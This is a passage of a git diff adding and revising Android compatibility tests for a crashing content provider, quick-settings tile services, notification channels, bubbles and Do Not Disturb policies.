+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.ActivityManager;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
+import android.content.ContentResolver;
+import android.content.pm.ApplicationInfo;
+import android.net.Uri;
+import android.os.HandlerThread;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Test system behavior of a bad provider.
+ */
+public class BadProviderTest extends AndroidTestCase {
+    private static final String AUTHORITY = "com.android.cts.stubbad.badprovider";
+    private static final String TEST_PACKAGE_NAME = "com.android.cts.stubbad";
+    private static final int WAIT_TIME = 2000;
+
+    public void testExitOnCreate() {
+        WatchUidRunner uidWatcher = null;
+        ContentResolver res = mContext.getContentResolver();
+        HandlerThread worker = new HandlerThread("work");
+        worker.start();
+        Handler handler = new Handler(worker.getLooper());
+        try {
+            ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
+                    TEST_PACKAGE_NAME, 0);
+            uidWatcher = new WatchUidRunner(InstrumentationRegistry.getInstrumentation(),
+                    appInfo.uid, WAIT_TIME);
+            long startTs = SystemClock.uptimeMillis();
+            handler.post(()->
+                res.query(Uri.parse("content://" + AUTHORITY), null, null, null, null)
+            );
+            // Ensure the system will try at least 3 times for a bad content provider.
+            uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
+            uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
+            uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
+            // Finish the watcher
+            uidWatcher.finish();
+            // Sleep for 10 seconds and initialize the watcher again
+            // (content provider publish timeout is 10 seconds)
+            Thread.sleep(Math.max(0, 10000 - (SystemClock.uptimeMillis() - startTs)));
+            uidWatcher = new WatchUidRunner(InstrumentationRegistry.getInstrumentation(),
+                    appInfo.uid, WAIT_TIME);
+            // By now we shouldn't see it's retrying again.
+            try {
+                uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
+                fail("Excessive attempts to bring up a provider");
+            } catch (IllegalStateException e) {
+            }
+        } catch (Exception e) {
+            fail("Unexpected exception while query provider: " + e.getMessage());
+        } finally {
+            if (uidWatcher != null) {
+                uidWatcher.finish();
+            }
+            worker.quitSafely();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/BaseTileServiceTest.java b/tests/app/src/android/app/cts/BaseTileServiceTest.java
new file mode 100644
index 0000000..940dbf5
--- /dev/null
+++ b/tests/app/src/android/app/cts/BaseTileServiceTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.app.stubs.BooleanTestTileService;
+import android.app.stubs.TestTileService;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.service.quicksettings.TileService;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+
+public abstract class BaseTileServiceTest extends AndroidTestCase {
+
+    protected abstract String getTag();
+    protected abstract String getComponentName();
+    protected abstract TileService getTileServiceInstance();
+    protected abstract void waitForConnected(boolean state) throws InterruptedException;
+    protected abstract void waitForListening(boolean state) throws InterruptedException;
+
+    final static String DUMP_COMMAND =
+            "dumpsys activity service com.android.systemui/.SystemUIService dependency "
+                    + "DumpController qstilehost";
+
+    // Time between checks for state we expect.
+    protected static final long CHECK_DELAY = 250;
+    // Number of times to check before failing. This is set so the maximum wait time is about 4s,
+    // as some tests were observed to take around 3s.
+    protected static final long CHECK_RETRIES = 15;
+    // Timeout to wait for launcher
+    protected static final long TIMEOUT = 8000;
+
+    protected TileService mTileService;
+    private Intent homeIntent;
+    private String mLauncherPackage;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (!TileService.isQuickSettingsSupported()) return;
+        homeIntent = new Intent(Intent.ACTION_MAIN);
+        homeIntent.addCategory(Intent.CATEGORY_HOME);
+
+        mLauncherPackage = mContext.getPackageManager().resolveActivity(homeIntent,
+                PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+
+        // Wait for home
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        device.pressHome();
+        device.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        expandSettings(false);
+        toggleServiceAccess(getComponentName(), false);
+        waitForConnected(false);
+        assertNull(TestTileService.getInstance());
+    }
+
+    protected void startTileService() throws Exception {
+        toggleServiceAccess(getComponentName(), true);
+        waitForConnected(true); // wait for service to be bound
+        mTileService = BooleanTestTileService.getInstance();
+        assertNotNull(mTileService);
+    }
+
+    protected void toggleServiceAccess(String componentName, boolean on) throws Exception {
+        String command = " cmd statusbar " + (on ? "add-tile " : "remove-tile ")
+                + componentName;
+
+        executeShellCommand(command);
+    }
+
+    public String executeShellCommand(String command) throws IOException {
+        Log.i(getTag(), "Shell command: " + command);
+        try {
+            return SystemUtil.runShellCommand(getInstrumentation(), command);
+        } catch (IOException e) {
+            //bubble it up
+            Log.e(getTag(), "Error running shell command: " + command);
+            throw new IOException(e);
+        }
+    }
+
+    protected void expandSettings(boolean expand) throws Exception {
+        executeShellCommand(" cmd statusbar " + (expand ? "expand-settings" : "collapse"));
+        Thread.sleep(200); // wait for animation
+    }
+
+    protected void initializeAndListen() throws Exception {
+        startTileService();
+        expandSettings(true);
+        waitForListening(true);
+    }
+
+    /**
+     * Find a line containing {@code label} in {@code lines}.
+     */
+    protected String findLine(String[] lines, CharSequence label) {
+        for (String line: lines) {
+            if (line.contains(label)) {
+                return line;
+            }
+        }
+        return null;
+    }
+}
diff --git a/tests/app/src/android/app/cts/BooleanTileServiceTest.java b/tests/app/src/android/app/cts/BooleanTileServiceTest.java
new file mode 100644
index 0000000..5b09186
--- /dev/null
+++ b/tests/app/src/android/app/cts/BooleanTileServiceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+
+import android.app.stubs.BooleanTestTileService;
+import android.service.quicksettings.Tile;
+import android.service.quicksettings.TileService;
+
+public class BooleanTileServiceTest extends BaseTileServiceTest {
+    private final static String TAG = "BooleanTileServiceTest";
+
+    public void testTileIsBoundAndListening() throws Exception {
+        startTileService();
+        expandSettings(true);
+        waitForListening(true);
+    }
+
+    public void testTileInDumpAndHasBooleanState() throws Exception {
+        initializeAndListen();
+
+        final CharSequence tileLabel = mTileService.getQsTile().getLabel();
+
+        final String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
+        final String line = findLine(dumpLines, tileLabel);
+        assertNotNull(line);
+        assertTrue(line.trim().startsWith("BooleanState"));
+    }
+
+    public void testTileStartsInactive() throws Exception {
+        initializeAndListen();
+
+        assertEquals(Tile.STATE_INACTIVE, mTileService.getQsTile().getState());
+    }
+
+    public void testValueTracksState() throws Exception {
+        initializeAndListen();
+
+        final CharSequence tileLabel = mTileService.getQsTile().getLabel();
+
+        String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
+        String line = findLine(dumpLines, tileLabel);
+
+        // Tile starts inactive
+        assertTrue(line.contains("value=false"));
+
+        ((BooleanTestTileService) mTileService).toggleState();
+
+        // Close and open QS to make sure that state is refreshed
+        expandSettings(false);
+        waitForListening(false);
+        expandSettings(true);
+        waitForListening(true);
+
+        assertEquals(Tile.STATE_ACTIVE, mTileService.getQsTile().getState());
+
+        dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
+        line = findLine(dumpLines, tileLabel);
+
+        assertTrue(line.contains("value=true"));
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected String getComponentName() {
+        return BooleanTestTileService.getComponentName().flattenToString();
+    }
+
+    @Override
+    protected TileService getTileServiceInstance() {
+        return BooleanTestTileService.getInstance();
+    }
+
+    /**
+     * Waits for the TileService to be in the expected listening state. If it times out, it fails
+     * the test
+     * @param state desired listening state
+     * @throws InterruptedException
+     */
+    @Override
+    protected void waitForListening(boolean state) throws InterruptedException {
+        int ct = 0;
+        while (BooleanTestTileService.isListening() != state && (ct++ < CHECK_RETRIES)) {
+            Thread.sleep(CHECK_DELAY);
+        }
+        assertEquals(state, BooleanTestTileService.isListening());
+    }
+
+    /**
+     * Waits for the TileService to be in the expected connected state. If it times out, it fails
+     * the test
+     * @param state desired connected state
+     * @throws InterruptedException
+     */
+    @Override
+    protected void waitForConnected(boolean state) throws InterruptedException {
+        int ct = 0;
+        while (BooleanTestTileService.isConnected() != state && (ct++ < CHECK_RETRIES)) {
+            Thread.sleep(CHECK_DELAY);
+        }
+        assertEquals(state, BooleanTestTileService.isConnected());
+    }
+}
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 13db79d..c0d53b9 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -15,7 +15,6 @@
  */
 package android.app.cts;
 
-import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -25,7 +24,6 @@
 import android.app.DownloadManager;
 import android.app.DownloadManager.Query;
 import android.app.DownloadManager.Request;
-import android.content.ContentResolver;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.ApplicationInfo;
@@ -41,7 +39,6 @@
 import android.util.Pair;
 
 import androidx.test.filters.FlakyTest;
-import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CddTest;
@@ -50,8 +47,6 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
-import java.io.FileInputStream;
-import java.io.InputStream;
 
 @RunWith(AndroidJUnit4.class)
 public class DownloadManagerTest extends DownloadManagerTestBase {
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 507bbf4..fd9009a 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -285,7 +285,8 @@
 
         final Bundle resultBundle = callbackResult.get(SHORT_TIMEOUT, TimeUnit.MILLISECONDS);
         if (resultBundle.getString(KEY_ERROR) != null) {
-            fail("Failed to create the file " + file + ", error:" + resultBundle.getString(KEY_ERROR));
+            fail("Failed to create the file " + file + ", error:"
+                    + resultBundle.getString(KEY_ERROR));
         }
     }
 
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index cff8dcb..6f3e1f1 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -18,6 +18,7 @@
 
 import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
 import static android.app.NotificationManager.IMPORTANCE_HIGH;
+import static android.app.NotificationManager.IMPORTANCE_UNSPECIFIED;
 
 import android.app.Notification;
 import android.app.NotificationChannel;
@@ -60,11 +61,25 @@
         assertTrue(channel.getLightColor() == 0);
         assertTrue(channel.canBubble());
         assertFalse(channel.isImportanceLockedByOEM());
+        assertEquals(IMPORTANCE_UNSPECIFIED, channel.getOriginalImportance());
     }
 
     public void testWriteToParcel() {
         NotificationChannel channel =
                 new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        channel.setBypassDnd(true);
+        channel.setOriginalImportance(IMPORTANCE_HIGH);
+        channel.setShowBadge(false);
+        channel.setAllowBubbles(false);
+        channel.setGroup("a thing");
+        channel.setSound(Uri.fromParts("a", "b", "c"),
+                new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_NOTIFICATION_EVENT)
+                        .build());
+        channel.setLightColor(Color.RED);
+        channel.setDeleted(true);
+        channel.setFgServiceShown(true);
+        channel.setVibrationPattern(new long[] {299, 4562});
+        channel.setBlockableSystem(true);
         Parcel parcel = Parcel.obtain();
         channel.writeToParcel(parcel, 0);
         parcel.setDataPosition(0);
@@ -172,4 +187,17 @@
         channel.setImportanceLockedByOEM(true);
         assertTrue(channel.isImportanceLockedByOEM());
     }
+
+    public void testSystemBlockable() {
+        NotificationChannel channel = new NotificationChannel("a", "ab", IMPORTANCE_DEFAULT);
+        assertEquals(false, channel.isBlockableSystem());
+        channel.setBlockableSystem(true);
+        assertEquals(true, channel.isBlockableSystem());
+    }
+
+    public void testOriginalImportance() {
+        NotificationChannel channel = new NotificationChannel("a", "ab", IMPORTANCE_DEFAULT);
+        channel.setOriginalImportance(IMPORTANCE_HIGH);
+        assertEquals(IMPORTANCE_HIGH, channel.getOriginalImportance());
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 6e77fea..fcd6a0a 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -18,7 +18,23 @@
 
 import static android.app.Notification.CATEGORY_CALL;
 import static android.app.Notification.FLAG_BUBBLE;
+import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
+import static android.app.NotificationManager.IMPORTANCE_HIGH;
+import static android.app.NotificationManager.IMPORTANCE_LOW;
+import static android.app.NotificationManager.IMPORTANCE_MIN;
+import static android.app.NotificationManager.IMPORTANCE_NONE;
+import static android.app.NotificationManager.IMPORTANCE_UNSPECIFIED;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_ALARMS;
 import static android.app.NotificationManager.INTERRUPTION_FILTER_ALL;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_NONE;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_PRIORITY;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_CALLS;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_EVENTS;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_REMINDERS;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_AMBIENT;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_FULL_SCREEN_INTENT;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_LIGHTS;
@@ -27,16 +43,17 @@
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_OFF;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_ON;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_STATUS_BAR;
-import static android.app.stubs.BubblesTestActivity.BUBBLE_NOTIF_ID;
 import static android.app.stubs.BubblesTestService.EXTRA_TEST_CASE;
 import static android.app.stubs.BubblesTestService.TEST_NO_BUBBLE_METADATA;
 import static android.app.stubs.BubblesTestService.TEST_NO_CATEGORY;
 import static android.app.stubs.BubblesTestService.TEST_NO_PERSON;
 import static android.app.stubs.BubblesTestService.TEST_SUCCESS;
+import static android.app.stubs.SendBubbleActivity.BUBBLE_NOTIF_ID;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_DOCUMENT;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.pm.PackageManager.FEATURE_WATCH;
 
-import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.AutomaticZenRule;
 import android.app.Instrumentation;
@@ -50,11 +67,10 @@
 import android.app.RemoteInput;
 import android.app.UiAutomation;
 import android.app.stubs.AutomaticZenRuleActivity;
-import android.app.stubs.BubblesTestActivity;
-import android.app.stubs.BubblesTestNotDocumentLaunchModeActivity;
-import android.app.stubs.BubblesTestNotEmbeddableActivity;
+import android.app.stubs.BubbledActivity;
 import android.app.stubs.BubblesTestService;
 import android.app.stubs.R;
+import android.app.stubs.SendBubbleActivity;
 import android.app.stubs.TestNotificationListener;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -68,6 +84,7 @@
 import android.graphics.Bitmap;
 import android.graphics.drawable.Icon;
 import android.media.AudioAttributes;
+import android.media.AudioManager;
 import android.media.session.MediaSession;
 import android.net.Uri;
 import android.os.Build;
@@ -87,11 +104,11 @@
 import android.service.notification.Condition;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
+import android.service.notification.ZenPolicy;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import android.widget.RemoteViews;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.SystemUtil;
@@ -119,15 +136,19 @@
     final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
 
     private static final String DELEGATOR = "com.android.test.notificationdelegator";
+    private static final String DELEGATE_POST_CLASS = DELEGATOR + ".NotificationDelegateAndPost";
     private static final String REVOKE_CLASS = DELEGATOR + ".NotificationRevoker";
-    private static final int WAIT_TIME = 2000;
+    private static final long SHORT_WAIT_TIME = 100;
+    private static final long MAX_WAIT_TIME = 2000;
 
     private PackageManager mPackageManager;
+    private AudioManager mAudioManager;
     private NotificationManager mNotificationManager;
     private ActivityManager mActivityManager;
     private String mId;
     private TestNotificationListener mListener;
     private List<String> mRuleIds;
+    private BroadcastReceiver mBubbleBroadcastReceiver;
 
     @Override
     protected void setUp() throws Exception {
@@ -138,12 +159,22 @@
                 Context.NOTIFICATION_SERVICE);
         // clear the deck so that our getActiveNotifications results are predictable
         mNotificationManager.cancelAll();
+
+        assertEquals("Previous test left system in a bad state",
+                0, mNotificationManager.getActiveNotifications().length);
+
         mNotificationManager.createNotificationChannel(new NotificationChannel(
-                NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+                NOTIFICATION_CHANNEL_ID, "name", IMPORTANCE_DEFAULT));
         mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
         mPackageManager = mContext.getPackageManager();
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
         mRuleIds = new ArrayList<>();
 
+        toggleNotificationPolicyAccess(mContext.getPackageName(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_ALL);
+        toggleNotificationPolicyAccess(mContext.getPackageName(),
+                InstrumentationRegistry.getInstrumentation(), false);
         // delay between tests so notifications aren't dropped by the rate limiter
         try {
             Thread.sleep(500);
@@ -184,12 +215,25 @@
 
     private void toggleBubbleSetting(boolean enabled) throws InterruptedException {
         SystemUtil.runWithShellPermissionIdentity(() ->
-                Settings.Secure.putInt(mContext.getContentResolver(),
-                        Settings.Secure.NOTIFICATION_BUBBLES, enabled ? 1 : 0));
+                Settings.Global.putInt(mContext.getContentResolver(),
+                        Settings.Global.NOTIFICATION_BUBBLES, enabled ? 1 : 0));
         Thread.sleep(500); // wait for ranking update
 
     }
 
+    private boolean isNotificationCancelled(int id, boolean all) {
+        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+            StatusBarNotification sbn = findPostedNotification(id, all);
+            if (sbn == null) return true;
+            try {
+                Thread.sleep(SHORT_WAIT_TIME);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+        return false;
+    }
+
     private void insertSingleContact(String name, String phone, String email, boolean starred) {
         final ArrayList<ContentProviderOperation> operationList =
                 new ArrayList<ContentProviderOperation>();
@@ -257,14 +301,13 @@
         return null;
     }
 
-
-    private StatusBarNotification findPostedNotification(int id) {
+    private StatusBarNotification findPostedNotification(int id, boolean all) {
         // notification is a bit asynchronous so it may take a few ms to appear in
         // getActiveNotifications()
         // we will check for it for up to 300ms before giving up
         StatusBarNotification n = null;
         for (int tries = 3; tries-- > 0; ) {
-            final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+            final StatusBarNotification[] sbns = getActiveNotifications(all);
             for (StatusBarNotification sbn : sbns) {
                 Log.d(TAG, "Found " + sbn.getKey());
                 if (sbn.getId() == id) {
@@ -282,6 +325,14 @@
         return n;
     }
 
+    private StatusBarNotification[] getActiveNotifications(boolean all) {
+        if (all) {
+            return mListener.getActiveNotifications();
+        } else {
+            return mNotificationManager.getActiveNotifications();
+        }
+    }
+
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
                 getContext(), 0, new Intent(getContext(), this.getClass()), 0);
@@ -382,7 +433,7 @@
 
     private void sendAndVerifyBubble(final int id, Notification.Builder builder,
             Notification.BubbleMetadata data, boolean shouldBeBubble) {
-        final Intent intent = new Intent(mContext, BubblesTestActivity.class);
+        final Intent intent = new Intent(mContext, BubbledActivity.class);
 
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
@@ -553,13 +604,17 @@
                 && Objects.equals(a.getConfigurationActivity(), b.getConfigurationActivity());
     }
 
-    private AutomaticZenRule createRule(String name) {
+    private AutomaticZenRule createRule(String name, int filter) {
         return new AutomaticZenRule(name, null,
                 new ComponentName(mContext, AutomaticZenRuleActivity.class),
                 new Uri.Builder().scheme("scheme")
                         .appendPath("path")
                         .appendQueryParameter("fake_rule", "fake_value")
-                        .build(), null, NotificationManager.INTERRUPTION_FILTER_PRIORITY, true);
+                        .build(), null, filter, true);
+    }
+
+    private AutomaticZenRule createRule(String name) {
+        return createRule(name, INTERRUPTION_FILTER_PRIORITY);
     }
 
     private void assertExpectedDndState(int expectedState) {
@@ -579,8 +634,26 @@
         assertEquals(expectedState, mNotificationManager.getCurrentInterruptionFilter());
     }
 
-    private Activity launchSendBubbleActivity() {
-        Class clazz = BubblesTestActivity.class;
+    /**
+     * Starts an activity that is able to send a bubble; also handles unlocking the device.
+     * Any tests that use this method should be sure to call {@link #cleanupSendBubbleActivity()}
+     * to unregister the related broadcast receiver.
+     *
+     * @return the SendBubbleActivity that was opened.
+     */
+    private SendBubbleActivity startSendBubbleActivity() {
+        final CountDownLatch latch = new CountDownLatch(2);
+        mBubbleBroadcastReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                latch.countDown();
+            }
+        };
+        IntentFilter filter = new IntentFilter(SendBubbleActivity.BUBBLE_ACTIVITY_OPENED);
+        mContext.registerReceiver(mBubbleBroadcastReceiver, filter);
+
+        // Start & get the activity
+        Class clazz = SendBubbleActivity.class;
 
         Instrumentation.ActivityResult result =
                 new Instrumentation.ActivityResult(0, new Intent());
@@ -588,12 +661,32 @@
                 new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
         InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
 
-        Intent i = new Intent(mContext, BubblesTestActivity.class);
+        Intent i = new Intent(mContext, SendBubbleActivity.class);
         i.setFlags(FLAG_ACTIVITY_NEW_TASK);
         InstrumentationRegistry.getInstrumentation().startActivitySync(i);
         InstrumentationRegistry.getInstrumentation().waitForIdleSync();
 
-        return monitor.waitForActivity();
+        SendBubbleActivity sendBubbleActivity = (SendBubbleActivity) monitor.waitForActivity();
+
+        // Make sure device is unlocked
+        KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
+        keyguardManager.requestDismissKeyguard(sendBubbleActivity,
+                new KeyguardManager.KeyguardDismissCallback() {
+            @Override
+            public void onDismissSucceeded() {
+                latch.countDown();
+            }
+        });
+        try {
+            latch.await(500, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        return sendBubbleActivity;
+    }
+
+    private void cleanupSendBubbleActivity() {
+        mContext.unregisterReceiver(mBubbleBroadcastReceiver);
     }
 
     private class HomeHelper extends ActivityManagerTestBase implements AutoCloseable {
@@ -602,7 +695,7 @@
             setUp();
         }
 
-        public void goHome() {
+        void goHome() {
             launchHomeActivity();
         }
 
@@ -612,6 +705,130 @@
         }
     }
 
+    public void testConsolidatedNotificationPolicy() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
+        try {
+            toggleNotificationPolicyAccess(mContext.getPackageName(),
+                    InstrumentationRegistry.getInstrumentation(), true);
+
+            mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
+                    PRIORITY_CATEGORY_ALARMS | PRIORITY_CATEGORY_MEDIA,
+                    0, 0));
+            // turn on manual DND
+            mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
+            assertExpectedDndState(INTERRUPTION_FILTER_PRIORITY);
+
+            // no custom ZenPolicy, so consolidatedPolicy should equal the default notif policy
+            assertEquals(mNotificationManager.getConsolidatedNotificationPolicy(),
+                    mNotificationManager.getNotificationPolicy());
+
+            // turn off manual DND
+            mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_ALL);
+            assertExpectedDndState(INTERRUPTION_FILTER_ALL);
+
+            // setup custom ZenPolicy for an automatic rule
+            AutomaticZenRule rule = createRule("test_consolidated_policy",
+                    INTERRUPTION_FILTER_PRIORITY);
+            rule.setZenPolicy(new ZenPolicy.Builder()
+                    .allowReminders(true)
+                    .build());
+            String id = mNotificationManager.addAutomaticZenRule(rule);
+            mRuleIds.add(id);
+            // set condition of the automatic rule to TRUE
+            Condition condition = new Condition(rule.getConditionId(), "summary",
+                    Condition.STATE_TRUE);
+            mNotificationManager.setAutomaticZenRuleState(id, condition);
+            assertExpectedDndState(INTERRUPTION_FILTER_PRIORITY);
+
+            NotificationManager.Policy consolidatedPolicy =
+                    mNotificationManager.getConsolidatedNotificationPolicy();
+
+            // alarms and media are allowed from default notification policy
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_ALARMS) != 0);
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_MEDIA) != 0);
+
+            // reminders is allowed from the automatic rule's custom ZenPolicy
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_REMINDERS) != 0);
+
+            // other sounds aren't allowed
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_CALLS) == 0);
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_MESSAGES) == 0);
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_SYSTEM) == 0);
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_EVENTS) == 0);
+        } finally {
+            mNotificationManager.setInterruptionFilter(originalFilter);
+        }
+    }
+
+    public void testConsolidatedNotificationPolicyMultiRules() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
+        try {
+            toggleNotificationPolicyAccess(mContext.getPackageName(),
+                    InstrumentationRegistry.getInstrumentation(), true);
+
+            // default allows no sounds
+            mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
+                    PRIORITY_CATEGORY_ALARMS, 0, 0));
+
+            // setup custom ZenPolicy for two automatic rules
+            AutomaticZenRule rule1 = createRule("test_consolidated_policyq",
+                    INTERRUPTION_FILTER_PRIORITY);
+            rule1.setZenPolicy(new ZenPolicy.Builder()
+                    .allowReminders(false)
+                    .allowAlarms(false)
+                    .allowSystem(true)
+                    .build());
+            AutomaticZenRule rule2 = createRule("test_consolidated_policy2",
+                    INTERRUPTION_FILTER_PRIORITY);
+            rule2.setZenPolicy(new ZenPolicy.Builder()
+                    .allowReminders(true)
+                    .allowMedia(true)
+                    .build());
+            String id1 = mNotificationManager.addAutomaticZenRule(rule1);
+            String id2 = mNotificationManager.addAutomaticZenRule(rule2);
+            Condition onCondition1 = new Condition(rule1.getConditionId(), "summary",
+                    Condition.STATE_TRUE);
+            Condition onCondition2 = new Condition(rule2.getConditionId(), "summary",
+                    Condition.STATE_TRUE);
+            mNotificationManager.setAutomaticZenRuleState(id1, onCondition1);
+            mNotificationManager.setAutomaticZenRuleState(id2, onCondition2);
+
+            mRuleIds.add(id1);
+            mRuleIds.add(id2);
